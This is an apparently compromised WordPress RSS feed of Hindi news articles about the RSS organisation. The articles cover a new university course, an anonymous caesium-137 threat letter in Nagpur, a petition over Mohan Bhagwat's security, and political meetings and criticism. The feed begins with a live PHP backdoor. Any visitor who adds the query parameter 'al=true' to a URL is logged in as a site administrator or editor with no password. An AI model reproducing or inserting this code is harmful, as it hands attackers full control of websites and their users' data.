// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); rss – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Mon, 04 May 2026 05:16:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 RSS और पीएम मोदी पर आधारित नया कोर्स, इस यूनिवर्सिटी ने शुरू की अनोखी पढ़ाई https://pratyushaashakinayikiran.com/?p=216824 Mon, 04 May 2026 05:16:00 +0000 https://pratyushaashakinayikiran.com/?p=216824 वडोदरा 

वडोदरा के महाराजा सयाजीराव विश्वविद्यालय (MSU) ने अपने पाठ्यक्रम में बड़ा बदलाव किया है.विश्वविद्यालय ने ऐलान किया है कि राष्ट्रीय संघ (RSS) के इतिहास और वर्तमान प्रशासन के मूल सिध्दांतों पर कोर्स शुरू किया गया है. अब छात्र क्लासरूम में मोदी तत्व और RSS की विचारधारा के बारे में विस्तार से पढ़ेंगे. इस विषय के तहत विश्वविद्यालय के सोशियोलॉजी विभाग के छात्र राष्ट्रीय सेवक संघ के जन्म, इतिहास और सामाजिक-सांस्कृतिक उत्थान में इसके योगदान को समझेंगे. सांस्कृतिक राष्ट्रवाद, पर्यावरण संरक्षण और स्वतंत्रता संग्राम में संघ की क्या भूमिका रही, इस पर विशेष सत्र होंगे. साथ ही यह भी सिखाया जाएगा कि नॉन-प्रॉफिट ऑर्गेनाइजेशन मैनेजमेंट के लिए संघ की कार्यशैली को समझना क्यों जरूरी है। 

पीएम मोदी पर होगी पढ़ाई 
इस विषय के तहत छात्र अब देश के प्रधानमंत्री नरेंद्र मोदी के व्यक्तित्व पर आधारित मोदी तत्व विषय भी शामिल किया गया है. इसमें प्रधानमंत्री नरेंद्र मोदी के नेतृत्व के गुण, उनके प्रभावशाली व्यक्तित्व और उनके काम करने के तरीकों की पढ़ाई होगी. समाजशास्त्रीय दृष्टिकोण से यह देखा जाएगा कि मेक इन इंडिया जैसे अभियानों ने समाज पर क्या प्रभाव डाला है। 

4 नए कोर्स को मिली मंजूरी 
MS यूनिवर्सिटी के बोर्ड ऑफ स्टडीज में कुल 4 नए कोर्स को मंजूरी दी है. इस पाठ्यक्रम में देश के महान नायकों को भी जगह दी गई है. इसमें वीर सावरकर,महर्षि अरविंद और डॉ. बीआर अंबेडकर के विचारों को शामिल किया गया है. इसके अलावा छत्रपति शिवाजी महाराज और महाराजा सयाजीराव गायकवाड़ के शासन और उनके सामाजिक सुधारों को गहराई से पढ़ाया जाएगा. इस अभ्यास क्रम में राष्ट्रवाद की समझ को लेकर चौथा विषय राष्ट्रवाद पर केंद्रित है. इसमें राष्ट्र और राज्य की परिभाषा के साथ-साथ भारतीय समाजशास्त्रियों के राष्ट्रवाद पर क्या विचार थे इस पर चर्चा की जाएगी। 

क्या बोली प्रशासन? 
विश्वविद्यालय के समाजशास्त्र विभाग के प्रमुख डॉ. वीरेंद्र सिंह ने कहा कि यूनिवर्सिटी प्रशासन का मानना है कि इन विषयों से छात्र वर्तमान सामाजिक और राजनीतिक परिवेश को बेहतर ढंग से समझ पाएंगे. उन्होंने आगे कहा कि सरकारी थिंक टैंक नीति आयोग की ओर से की गई हालिया शोध परियोजनाओं में छात्रों को सरकारी पहलों के साथ गहराई से जुड़ते हुए देखा गया है और इन विषयों को औपचारिक रूप से शामिल करना एक स्वाभाविक प्रगति के रूप में देखा जाता है। 

 

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महाराष्ट्र: नागपुर में RSS मुख्यालय और स्मृति मंदिर पर ‘रेडिएशन’ हमले की धमकी https://pratyushaashakinayikiran.com/?p=215919 Thu, 30 Apr 2026 11:06:00 +0000 https://pratyushaashakinayikiran.com/?p=215919 नागपुर 
 महाराष्ट्र के नागपुर स्थित राष्ट्रीय स्वयंसेवक संघ (आरएसएस) के मुख्यालय और डॉ. हेडगेवार स्मृति मंदिर में 'रेडिएशन' की धमकी से हड़कंप मच गया। पुलिस कमिश्नर को भेजी गई एक गुमनाम चिट्ठी में दावा था कि आरएसएस मुख्यालय और स्मृति मंदिर में रेडियोएक्टिव पदार्थ फैला दिया गया है। यह चिट्ठी कथित तौर पर 'डीएसएस' नाम के एक संगठन ने भेजी है। इस चिट्ठी के मिलने के बाद एक बड़े पैमाने पर जांच शुरू हो गई है, जिसमें एंटी-टेररिज्म स्क्वाड (एटीएस) और एनडीआरएफ भी शामिल हैं। अंग्रेजी में लिखी यह गुमनाम चिट्ठी 27 अप्रैल को डाक के जरिए पुलिस कमिश्नर रविंद्रकुमार सिंघल के दफ्तर पहुंची। इसमें आरएसएस के खिलाफ बेहद आपत्तिजनक भाषा का इस्तेमाल किया गया था और एक चेतावनी दी गई। पुलिस सूत्रों के अनुसार, चिट्ठी में कहा गया था कि सीजियम-137 नाम का एक बेहद खतरनाक रेडियोएक्टिव पाउडर कई अहम जगहों पर कथित तौर पर रख दिया गया है।

पुलिस सूत्रों ने बताया कि सीजियम-137 (137सीएस) धातु सीजियम का एक रेडियोएक्टिव आइसोटोप है। यह प्राकृतिक रूप से नहीं पाया जाता। यह न्यूक्लियर रिएक्टरों और हथियारों में यूरेनियम के न्यूक्लियर विखंडन से बनने वाला एक उप-उत्पाद है। इसकी हाफ-लाइफ (अर्ध-आयु) 30.05 साल होती है, जिसका मतलब है कि इसकी रेडियोएक्टिविटी को आधा होने में तीन दशक लग जाते हैं। इससे बीटा कण और शक्तिशाली गामा किरणें निकलती हैं।

पुलिस सूत्रों के अनुसार, चिट्ठी में दावा किया गया है कि यह रेडियोएक्टिव पदार्थ आरएसएस मुख्यालय, रेशिमबाग स्थित स्मृति मंदिर, गणेशपेठ स्थित भाजपा दफ्तर, ऑरेंज और एक्वा दोनों लाइनों की मेट्रो ट्रेनों की सीटों पर, और बसों में रखा गया है। दावा किया गया कि उन्हें यह रेडियोएक्टिव पदार्थ एक कैंसर अस्पताल से मिला था।

चिट्ठी में आगे अधिकारियों को चुनौती देते हुए कहा गया है, "नागपुर शहर अब पूरी तरह से रेडिएशन के खतरे में है। जब तारापुर एटॉमिक पावर स्टेशन के विशेषज्ञ यहां आकर जांच करेंगे, तब आपको इस बात की सच्चाई का पता चलेगा।"

चिट्ठी में हाल ही में हुई एक घटना का भी जिक्र किया गया, जिसमें दोसर भवन मेट्रो स्टेशन के पीछे एक खाली प्लॉट में डेटोनेटर और जिलेटिन की छड़ें मिली थीं। पुलिस सूत्रों ने बताया कि 'डीएसएस' ने उन विस्फोटकों की जिम्मेदारी लेते हुए कहा था, "वह तो बस एक चेतावनी थी। असली खेल तो अब शुरू हुआ है।"

पत्र मिलने के बाद, एटीएस ने एनडीआरएफ और परमाणु ऊर्जा विशेषज्ञों के साथ मिलकर आरएसएस मुख्यालय, मेट्रो स्टेशनों और बताई गई दूसरी जगहों की पूरी तरह से तलाशी ली। विशेषज्ञों की शुरुआती तलाशी में अभी तक कोई भी रेडियोएक्टिव पदार्थ नहीं मिला है।
हालांकि, एटीएस की शिकायत के आधार पर सदर पुलिस स्टेशन में एक मामला दर्ज किया गया है। पुलिस सूत्रों के मुताबिक, आरएसएस मुख्यालय 150 सीआईएसएफ जवानों और नागपुर पुलिस की 24 घंटे की कई-स्तरीय सुरक्षा घेरे में है।

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RSS द्वारा मोहन भागवत की Z प्लस सिक्योरिटी का खर्च, हाई कोर्ट में दाखिल हुई याचिका; जज ने क्या कहा? https://pratyushaashakinayikiran.com/?p=213688 Tue, 21 Apr 2026 15:35:00 +0000 https://pratyushaashakinayikiran.com/?p=213688 नागपुर 

RSS यानी राष्ट्रीय स्वयं सेवक संघ के प्रमुख मोहन भागवत को मिली Z प्लस सुरक्षा को लेकर बॉम्बे हाई कोर्ट में याचिका दाखिल हुई। इस याचिका के जरिए मांग की गई थी कि सुरक्षा पर हो रहे खर्च का भुगतान संघ की तरफ से ही किया जाना चाहिए। हालांकि, उच्च न्यायालय ने याचिका को खारिज कर दिया है। साथ ही याचिकाकर्ता की मंशा पर भी सवाल उठाए हैं।

40 से 45 लाख रुपये महीने का खर्च
उच्च न्यायालय की नागपुर पीठ के समक्ष दायर जनहित याचिका में दावा किया गया कि सुरक्षा कवर की लागत कथित तौर पर 40 लाख से 45 लाख रुपये प्रति माह बताई गई है, जो सार्वजनिक धन का दुरुपयोग और राज्य के खजाने का नुकसान है क्योंकि आरएसएस एक पंजीकृत संगठन नहीं है।

याचिका को खारिज करते हुए मुख्य न्यायाधीश न्यायमूर्ति श्री चंद्रशेखर और जस्टिस अनिल किलोर की पीठ ने याचिका दायर करने के पीछे याचिकाकर्ता के मकसद और इरादे पर सवाल उठाए। याचिकाकर्ता के वकील ने यह जानकारी दी।

याचिका में क्या
नागपुर निवासी ललन सिंह द्वारा अपने वकील अश्विन इंगोले के माध्यम से दायर याचिका में यह दलील दी गई कि करदाताओं के पैसे का दुरुपयोग ऐसे व्यक्ति को 'जेड-प्लस' श्रेणी की वीवीआईपी सुरक्षा प्रदान करने के लिए किया जा रहा है, जिसका संगठन 'पंजीकृत' नहीं है। याचिकाकर्ता ने सरकार की तरफ से भागवत को दी गई उच्च स्तरीय सुरक्षा के लिए उनसे शुल्क की भरपाई का अनुरोध किया था।

मुकेश अंबानी केस का दिया हवाला
उन्होंने 2023 में उच्चतम न्यायालय द्वारा उद्योगपति मुकेश अंबानी से संबंधित एक मामले में दिए गए फैसले का हवाला दिया, जिसमें शीर्ष अदालत ने भारत सरकार की नीति के अनुसार उन्हें 'जेड-प्लस' श्रेणी की सुरक्षा प्रदान करने का निर्देश दिया था। साथ ही इसका पूरा खर्च उनके परिवार द्वारा उठाया जाना था।

मोहन भागवत को कब मिली थी जेड प्लस सिक्योरिटी
जून 2015 में संघ प्रमुख भागवत की सुरक्षा को बढ़ाकर जेड प्लस श्रेणी का कर दिया गया था। इसके साथ ही उनके सुरक्षा घेरे को संभालने का जिम्मा CISF यानी सेंट्रल आर्म्ड इंडस्ट्रियल सिक्योरिटी फोर्सेज के पास आ गया था। इससे पहले उनकी सुरक्षा में महाराष्ट्र पुलिस की टुकड़ियां तैनात थीं। खास बात है कि पहली बार साल 2012 में यूपीए सरकार के दौरान भागवत को जेड प्लस सिक्योरिटी देने के आदेश दिए गए थे। तब सुशील कुमार शिंदे देश के गृहमंत्री थे।

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RSS द्वारा मोहन भागवत की Z प्लस सिक्योरिटी का खर्च, हाई कोर्ट में दाखिल हुई याचिका; जज ने क्या कहा? https://pratyushaashakinayikiran.com/?p=213689 Tue, 21 Apr 2026 15:35:00 +0000 https://pratyushaashakinayikiran.com/?p=213689 नागपुर 

RSS यानी राष्ट्रीय स्वयं सेवक संघ के प्रमुख मोहन भागवत को मिली Z प्लस सुरक्षा को लेकर बॉम्बे हाई कोर्ट में याचिका दाखिल हुई। इस याचिका के जरिए मांग की गई थी कि सुरक्षा पर हो रहे खर्च का भुगतान संघ की तरफ से ही किया जाना चाहिए। हालांकि, उच्च न्यायालय ने याचिका को खारिज कर दिया है। साथ ही याचिकाकर्ता की मंशा पर भी सवाल उठाए हैं।

40 से 45 लाख रुपये महीने का खर्च
उच्च न्यायालय की नागपुर पीठ के समक्ष दायर जनहित याचिका में दावा किया गया कि सुरक्षा कवर की लागत कथित तौर पर 40 लाख से 45 लाख रुपये प्रति माह बताई गई है, जो सार्वजनिक धन का दुरुपयोग और राज्य के खजाने का नुकसान है क्योंकि आरएसएस एक पंजीकृत संगठन नहीं है।

याचिका को खारिज करते हुए मुख्य न्यायाधीश न्यायमूर्ति श्री चंद्रशेखर और जस्टिस अनिल किलोर की पीठ ने याचिका दायर करने के पीछे याचिकाकर्ता के मकसद और इरादे पर सवाल उठाए। याचिकाकर्ता के वकील ने यह जानकारी दी।

याचिका में क्या
नागपुर निवासी ललन सिंह द्वारा अपने वकील अश्विन इंगोले के माध्यम से दायर याचिका में यह दलील दी गई कि करदाताओं के पैसे का दुरुपयोग ऐसे व्यक्ति को 'जेड-प्लस' श्रेणी की वीवीआईपी सुरक्षा प्रदान करने के लिए किया जा रहा है, जिसका संगठन 'पंजीकृत' नहीं है। याचिकाकर्ता ने सरकार की तरफ से भागवत को दी गई उच्च स्तरीय सुरक्षा के लिए उनसे शुल्क की भरपाई का अनुरोध किया था।

मुकेश अंबानी केस का दिया हवाला
उन्होंने 2023 में उच्चतम न्यायालय द्वारा उद्योगपति मुकेश अंबानी से संबंधित एक मामले में दिए गए फैसले का हवाला दिया, जिसमें शीर्ष अदालत ने भारत सरकार की नीति के अनुसार उन्हें 'जेड-प्लस' श्रेणी की सुरक्षा प्रदान करने का निर्देश दिया था। साथ ही इसका पूरा खर्च उनके परिवार द्वारा उठाया जाना था।

मोहन भागवत को कब मिली थी जेड प्लस सिक्योरिटी
जून 2015 में संघ प्रमुख भागवत की सुरक्षा को बढ़ाकर जेड प्लस श्रेणी का कर दिया गया था। इसके साथ ही उनके सुरक्षा घेरे को संभालने का जिम्मा CISF यानी सेंट्रल आर्म्ड इंडस्ट्रियल सिक्योरिटी फोर्सेज के पास आ गया था। इससे पहले उनकी सुरक्षा में महाराष्ट्र पुलिस की टुकड़ियां तैनात थीं। खास बात है कि पहली बार साल 2012 में यूपीए सरकार के दौरान भागवत को जेड प्लस सिक्योरिटी देने के आदेश दिए गए थे। तब सुशील कुमार शिंदे देश के गृहमंत्री थे।

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RSS के 3 दर्जन से ज्यादा पदाधिकारी और CM योगी आदित्यनाथ, बंद कमरे में ढाई घंटे की अहम चर्चा https://pratyushaashakinayikiran.com/?p=202793 Fri, 06 Mar 2026 07:46:00 +0000 https://pratyushaashakinayikiran.com/?p=202793 लखनऊ 

मुख्यमंत्री योगी आदित्यनाथ ने  राष्ट्रीय स्वयं सेवक संघ के पदाधिकारियों के साथ बैठक की। बताया जा रहा है कि ढाई घंटे तक चली इस बैठक में सरकार और संघ के बीच समंवय व आगामी विधानसभा चुनाव की तैयारियों को लेकर चर्चा हुई। सीएम ने संघ के अधिकारियों से सरकार का फीडबैक लिया। साथ ही संघ पदाधिकारियों के सुझाव भी जाने।

मुख्यमंत्री योगी आदित्यनाथ का स्टेट प्लेन गुरुवार सुबह करीब सवा 11 बजे हिंडन एयरबेस पर उतारा। सीएम का काफिला सड़क मार्ग से दोपहर पौने 12 बजे नेहरू नगर स्थित सरस्वती विद्या मंदिर पहुंचा। जहां मुख्यमंत्री ने आरएसएस की दृष्टि से मेरठ प्रांत (मेरठ, मुरादाबाद व सहारनपुर मंडल) के तीन दर्जन से अधिक अधिकारियों के साथ बंद कमरे में करीब ढाई घंटे तक चर्चा की। मुख्यमंत्री ने बैठक के बाद संघ पदाधिकारियों के साथ भोजन भी किया।

क्या-क्या सुझाव दिए गए
बताया जा रहा है कि मुख्यमंत्री ने इस दौरान संघ के पदाधिकारियों से सरकार का फीडबैक लिया। संघ के अधिकारियों ने अपने फीडबैक के अलावा सरकार के कामकाज को लेकर कुछ सुझाव भी दिए। प्रमुख सुझावों में सरकारी अस्पतालों व स्कूलों में आधारभूत ढांचे को और मजबूत करना व मानव संसाधन बढ़ाना रहा। कुछ पदाधिकारियों ने थानों में भष्ट्राचार को रोकने के लिए और प्रभावी अंकुश लगाने का सुझाव भी दिया। लोनी को लेकर भी चर्चा हुई। कहा गया कि लोनी में सड़कों की हालात सुधारने की आवश्यकता है।

सड़कों का भी उठा मुद्दा
संघ अधिकारियों ने कहा हर घर जल योजना के तहत खुदाई से गांवों की सड़कें खराब हो गई हैं। इन सड़कों को तुरंत ठीक किया जाए। मेरठ में सेंट्रल मार्केट का मुद्दा भी बैठक में उठा। मुख्यमंत्री दोपहर करीब ढाई बजे वायु मार्ग से नोएडा के लिए रवाना हुए। मुख्यमंत्री ने पिछले साल अप्रैल में सरस्वती विद्या मंदिर में भी संघ पदाधिकारियों के साथ बैठक की थी।

40 पदाधिकारी रहे मौजूद
सूत्रों का कहना है कि मुख्यमंत्री सरकार का फीडबैक व सुझाव लेने के लिए भविष्य में भी संघ के अधिकारियों के साथ समंवय बैठक करते रहेंगे। मुख्यमंत्री के साथ समंवय बैठक में भाजपा प्रदेश अध्यक्ष पंकज चौधरी, प्रदेश संगठन मंत्री धर्मपाल सिंह, क्षेत्र संघचालक सूर्यप्रकाश टोंक, क्षेत्र प्रचारक महेंद्र और प्रांत प्रचारक अनिल समेत करीब 40 पदाधिकारी मौजूद रहे।

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2027 चुनाव से पहले यूपी में RSS सक्रिय, योगी के बाद डिप्टी CMs की मोहन भागवत से मुलाकात https://pratyushaashakinayikiran.com/?p=199380 Fri, 20 Feb 2026 05:36:00 +0000 https://pratyushaashakinayikiran.com/?p=199380 लखनऊ

. उत्तर प्रदेश में 2027 के विधानसभा चुनाव में बीजेपी की जीत की हैट्रिक के लिए खुद आरएसएस प्रमुख मोहन भागवत मैदान में उतर चुके हैं. गोरखपुर प्रवास के बाद वे लखनऊ पहुंचे।  जहां पहले वे मुख्यमंत्री योगी आदित्यनाथ के साथ 40 मिनट तक मुलाक़ात की. गुरुवार को मेरठ रवानगी से पहले उनकी मुलाक़ात दोनों डिप्टी सीएम केशव प्रसाद मौर्य और ब्रजेश पटाहक से हुई. इन मुलाकातों को राजनीतिक और संगठनात्मक दृष्टि से काफी अहम माना जा रहा है. सूत्रों के मुताबिक, आरएसएस प्रमुख ने हिंदुत्व के अजेंडे को धार देने और जाति की राजनीति को ख़त्म करने को लेकर चर्चा की है. इसकी वजह यह है कि हाल के दिनों में जिस तरह से यूजीसीबिल और स्वामी अविमुक्तेश्वरानंद का मुद्दा उठा उससे, हिन्दू वोट बंटने का खतरा है. इसका सीधा नुकसान बीजेपी को इसलिए भी है, क्योंकि बीजेपी 80 बनाम 20 की राजनीति करती है. यानी सपा का पीडीए और बीजेपी का दलित वोट भी सिका हिस्सा है.

सूत्रों के अनुसार, मुख्यमंत्री योगी आदित्यनाथ ने निराला नगर स्थित सरस्वती शिशु मंदिर में मोहन भागवत से करीब 30-40 मिनट तक बातचीत की. यह मुलाकात आरएसएस के शताब्दी वर्ष के संदर्भ में बताई जा रही है, लेकिन सियासी गलियारों में इसे 2027 के चुनावी रोडमैप, हिंदुत्व एजेंडा, संगठन-सरकार समन्वय और सामाजिक समीकरणों पर रणनीति बनाने के रूप में देखा जा रहा है. मुलाकात के दौरान प्रदेश की राजनीतिक स्थिति, संगठन की भूमिका और आगामी चुनौतियों पर विस्तार से चर्चा होने की संभावना जताई जा रही है.
किस मुद्दे पर हुई होगी चर्चा?

मुख्यमंत्री के साथ मुलाकात के बाद, गुरुवार सुबह मोहन भागवत ने उप मुख्यमंत्री केशव प्रसाद मौर्य और ब्रजेश पाठक से भी अलग-अलग मुलाकात की. सरस्वती कुंज में हुई इन बैठकों में हिंदुत्व से जुड़े मुद्दों, जातिगत राजनीति, सामाजिक समरसता और चुनावी रणनीति पर विचार-विमर्श होने की बात कही जा रही है. हालांकि, इसकी कोई आधिकारिक पुष्टि नहीं हुई है, लेकिन जिस तरह से मोहन भागवत ने जाति को भूलने और खुद को हिंदू बताने का आह्वान किया है उससे साफ़ है कि 2027 के लिए सियासी बिसात तैयार की जा रही है. इन मुलाकातों से स्पष्ट है कि आरएसएस 2027 के चुनाव को लेकर प्रदेश स्तर पर मजबूत समन्वय और तैयारी में जुटा हुआ है.
आरएसएस और बीजेपी के बीच समन्वय मजबूत होगा

यह मुलाकातें ऐसे समय हो रही हैं जब उत्तर प्रदेश में सामाजिक-राजनीतिक माहौल गर्म है और विभिन्न दल अपनी-अपनी रणनीतियां तैयार कर रहे हैं. आरएसएस की ओर से हिंदू समाज में एकता, सतर्कता और सामाजिक सद्भाव पर जोर दिया जा रहा है, जबकि सरकार-संगठन के बीच बेहतर तालमेल को चुनावी सफलता की कुंजी माना जा रहा है. राजनीतिक विश्लेषकों का मानना है कि ये मुलाकातें न केवल भाजपा की चुनावी तैयारियों को मजबूती देंगी, बल्कि संगठन और सरकार के बीच संतुलन बनाए रखने में भी अहम भूमिका निभाएंगी.

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RSS प्रमुख बनने के लिए हिंदू होने की शर्त जरूरी, मोहन भागवत ने बताया चुनाव की प्रक्रिया https://pratyushaashakinayikiran.com/?p=196485 Mon, 09 Feb 2026 08:37:00 +0000 https://pratyushaashakinayikiran.com/?p=196485 मुंबई 

राष्ट्रीय स्वयं सेवक संघ या RSS प्रमुख मोहन भागवत ने अपने रिटायरमेंट को लेकर जारी अटकलों पर विराम लगा दिया है। उन्होंने कहा है कि 75 वर्ष का होने के बाद भी संघ ने उनसे काम जारी रखने के लिए कहा था। उन्होंने कहा कि संघ के कहने पर वह काम छोड़ सकते हैं पर काम से रिटायर नहीं होंगे। कार्यक्रम के दौरान उन्होंने संघ प्रमुख के चुनाव की प्रक्रिया और उम्मीदवारी पर भी बात की।

कैसे होता है चुनाव

भागवत ने यह भी कहा कि संघ का नेतृत्व करने वाला व्यक्ति हमेशा एक हिंदू ही होगा, चाहे उसकी जाति कुछ भी हो और शीर्ष पद सबसे योग्य उम्मीदवार को ही दिया जाएगा। उन्होंने कहा, 'RSS प्रमुख के पद के लिए कोई चुनाव नहीं होता। क्षेत्रीय और मंडल प्रमुख ही संघ प्रमुख की नियुक्ति करते हैं। आम तौर पर कहा जाता है कि 75 वर्ष की आयु के बाद किसी को कोई पद धारण किए बिना काम करना चाहिए।'
RSS में कैसे होता है प्रमोशन

भागवत ने कहा कि RSS में समुदाय आधारित प्रतिनिधित्व नहीं है और स्वयंसेवक अपने काम के आधार पर प्रमोशन पाते हैं। उन्होंने बताया कि जब RSS की स्थापना हुई थी, तब इसका काम ब्राह्मण-बहुल समुदाय में शुरू हुआ था और इसलिए इसके अधिकांश संस्थापक ब्राह्मण थे, जिसके कारण उस समय संगठन को ब्राह्मण संगठन के रूप में जाना जाता था। उन्होंने कहा कि लोग हमेशा ऐसे संगठन की तलाश करते हैं जिसमें उनके समुदाय के प्रतिनिधि हों।
SC-ST से होगा प्रमुख?

भागवत ने कहा कि वह इस बारे में कोई निश्चित जवाब नहीं दे सकते कि संघ प्रमुख अनुसूचित जाति या अनुसूचित जनजाति पृष्ठभूमि से होगा या नहीं क्योंकि यह निर्णय संघ प्रमुख की नियुक्ति करने वालों पर निर्भर करता है। उन्होंने कहा कि अनुसूचित जाति या अनुसूचित जनजाति समुदाय से होना अयोग्यता नहीं है, और न ही ब्राह्मण होना संघ प्रमुख बनने की योग्यता है।
मोहन भागवत ने बताई अपनी नियुक्ति की कहानी

उन्होंने कहा, 'अगर मुझे किसी प्रमुख का चयन करना होता, तो मैं 'सबसे योग्य उम्मीदवार' के मानदंड को अपनाता। जब मुझे RSS प्रमुख नियुक्त किया गया था, तब कई योग्य उम्मीदवार थे लेकिन वे उपलब्ध नहीं थे। मैं ही वह व्यक्ति था जिसे कार्यभार से मुक्त किया जा सकता था और नियुक्त किया जा सकता था।'

भागवत ने हल्के-फुल्के अंदाज में कहा कि संगठन 'अपने स्वयंसेवकों से खून के आखिरी कतरे तक काम निकलवाता है'। उन्होंने दावा किया कि RSS के इतिहास में अब तक ऐसी कोई स्थिति नहीं आई है जब किसी को सेवानिवृत्त करना पड़ा हो।

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टिमरनी में RSS के कार्यक्रम में शामिल होने पर कांग्रेस विधायक फंसे, आला कमान ने मांगा जवाब https://pratyushaashakinayikiran.com/?p=194208 Fri, 23 Jan 2026 07:16:00 +0000 https://pratyushaashakinayikiran.com/?p=194208 टिमरनी

 मध्य प्रदेश के हरदा जिले की टिमरनी सीट से कांग्रेस विधायक अभिजीत शाह का आरएसएस के हिंदू कार्यक्रम में शामिल होना उनके लिए अब बड़ी राजनीतिक मुसीबत बन गया है। बताया जा रहा है कि, मामले पर अब सीधे तौर पर अखिल भारतीय कांग्रेस कमेटी यानी एआईसीसी तक ने संज्ञान ले लिया है, जिसके चलते पार्टी ने विधायक शाह से इस पूरे घटनाक्रम पर जवाब मांगा है।

मध्य प्रदेश कांग्रेस ने प्रदेश प्रभारी हरीश चौधरी को मामले की पूरी रिपोर्ट सौंप दी है। साथ ही विधायक से इस संबंध में जवाब मांगा है। बता दें कि, अभिजीत शाह हरदा जिले के टिमरनी से विधायक हैं।

बढ़ता जा रहा विवाद

बीते दिनों टिमरनी विधानसभा के रहटगांव तहसील मुख्यालय पर आरएसएस का कार्यक्रम हुआ था। उस कार्यक्रम में कांग्रेस विधायक अभिजीत शाह शामिल हुए थे। कार्यक्रम में शामिल होने के बाद उनके ऐसा करने पर सबसे पहले हरदा जिले के कांग्रेस नेताओं ने आपत्ति जताई थी, तभी से ये मामला प्रदेश कांग्रेस की गंभीर चर्चा में जुड़ गया है। अब इस मामले में आलाकमान भी जुड़ गई है। देखना दिलचस्प होगा कि, इसपर टिमरनी विधायक की ओर से क्या प्रतिक्रिया दी जाती है।

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दिग्विजय का मोहन भागवत पर हमला: कहा — संघ की तुलना हिंदू धर्म से सनातन का अपमान https://pratyushaashakinayikiran.com/?p=191227 Thu, 13 Nov 2025 09:35:00 +0000 https://pratyushaashakinayikiran.com/?p=191227 भोपाल 

पूर्व सीएम दिग्विजय सिंह ने राष्ट्रीय स्वयंसेवक संघ के सरसंघचालक डॉ. मोहन भागवत के बयान पर पलटवार किया है। दिग्विजय ने कहा कि संघ जैसे अन रजिस्टर्ड संगठन की हिंदू समाज से तुलना करके उन्होंने सनातन धर्म का अपमान किया है।भोपाल में अपने सरकारी आवास पर दिग्विजय सिंह ने प्रेस से चर्चा की है। उन्होंने कहा कि कुछ दिन पहले बेंगलुरू में आरएसएस का शताब्दी वर्ष का आयोजन हुआ था। जिसमें मोहन भागवत ने अपने विचार रखे थे। उस समय का पूरा आयोजन आरएसएस के पदाधिकारियों तक सीमित था, जिसमें उन्होंने बड़ी चौंकाने वाली बात की थी।

दिग्विजय सिंह ने कहा कि पहली बात तो उन्होंने कही कि लोग ये शिकायत करते हैं कि आरएसएस अपंजीकृत है, भागवत जी ने इसका काउंटर करते हुए कहा कि अगर आरएसएस अपंजीकृत है तो हिंदू धर्म भी अपंजीकृत है, इस्लाम भी अपंजीकृत है।

मोहन भागवत के इस बयान पर मुझे घोर आपत्ति है। मैं उसकी निंदा करता हूं। वे सैकड़ों साल से चली आ रही हिंदू धर्म सनातनी परंपराओं की एक अनरजिस्टर्ड संगठन से तुलना कर रहे हैं। मोहन भागवत जी आपने सनातन धर्म का अपमान किया है।दिग्विजय सिंह ने कहा कि बड़े से बड़ा नेता, प्रधानमंत्री जी ख़ुद को संघ का कार्यकर्ता बोलते हैं। अगर आप संघ के सदस्य हैं तो मेंबरशिप फॉर्म बताइए।

देश से माफी मांगें मोहन भागवत दिग्विजय सिंह ने कहा- मैं डिवोटी हिंदू और एक ऐसा सनातन धर्मी हूं। जिसने न केवल धर्म का पालन किया है बल्कि हर तरह से मैंने धार्मिक संस्थाओं का सम्मान किया है। मैंने जगद्गुरु शंकराचार्य स्वरूपानंद जी से 1983 में दीक्षा ली हुई है। मैं हिंदू होने के नाते आपकी घोर निंदा करता हूं। आपने सनातन धर्म को पंजीकृत होने का बयान दिया है। मैं इसके खिलाफ हूं।

इसके लिए आपको देश से माफी मांगना चाहिए और हर हिंदू धर्म और सनातन धर्म का पालन करने वालों से आपको माफी मांगना चाहिए। संत-महात्माओं चारों पीठों के शंकराचार्यों से आपको माफी मांगना चाहिए।

सभी धर्मों का सम्मान होना चाहिए दिग्विजय सिंह ने कहा- आपने दूसरा प्रहार यह किया है कि हिंदू धर्म का पालन करने वालों में मुस्लिम, ईसाई भी शामिल कर लिए। सभी धर्मों का सम्मान होना चाहिए। मैं हमेशा से इस बारे में कहता आया हूं। स्वामी विवेकानंद जी ने भी यही बात कही है कि सनातन धर्म सभी धर्मों का सम्मान करता है।

मुसलमानों के खिलाफ जहर उगलते हैं प्रचारक दिग्विजय सिंह ने कहा- आप (संघ) के कार्यकर्ता आपके प्रचारक और आपके नेता मुसलमानों के खिलाफ जहर उगलते हैं। मैं उसकी भी निंदा करता हूं। मुसलमानों, ईसाईयों, जैनियों, सिखों का क्या कसूर है?

अगर वे किसी अन्य धर्म मैं अपनी आस्था रखते हैं और वह अन्य धर्म का पालन करते हैं तो आपको यह अधिकार नहीं है कि आप उनके खिलाफ जहर उगलें। आपका संगठन और आपका मोर्चा संगठन बीजेपी पूरी तरीके से नफरत फैला रहे हैं। सांप्रदायिक सद्भाव का अपमान कर रहे हैं।

अपराध हुआ तो मुसलमानों के घर क्यों तोड़े जाते हैं पूर्व सीएम ने कहा- अगर कहीं पर हिंदू-मुस्लिम का छोटा-मोटा झगड़ा होता है तो हिंदुओं पर कानूनन कार्रवाई तो होती ही है लेकिन मुसलमान ने अगर जुर्म किया तो उनके परिवार पर कार्रवाई क्यों करते हैं। उनका घर तोड़ते हैं। मैं उसका भी विरोध करता हूं।

रजिस्टर्ड नहीं तो इनकम टैक्स से छूट कैसे मिली दिग्विजय सिंह ने कहा आपने (मोहन भागवत) कई बार यह भी कहा है कि आपको गुरु दक्षिणा आती है। यह बताना चाहिए कि कौन से खाते में गुरु दक्षिणा आती है? आप कहते हैं कि हमको इनकम टैक्स से माफ कर दिया है। आपका संगठन पंजीकृत ही नहीं है तो इनकम टैक्स का कौन सा ऑर्डर है जिससे आपको माफ किया है।

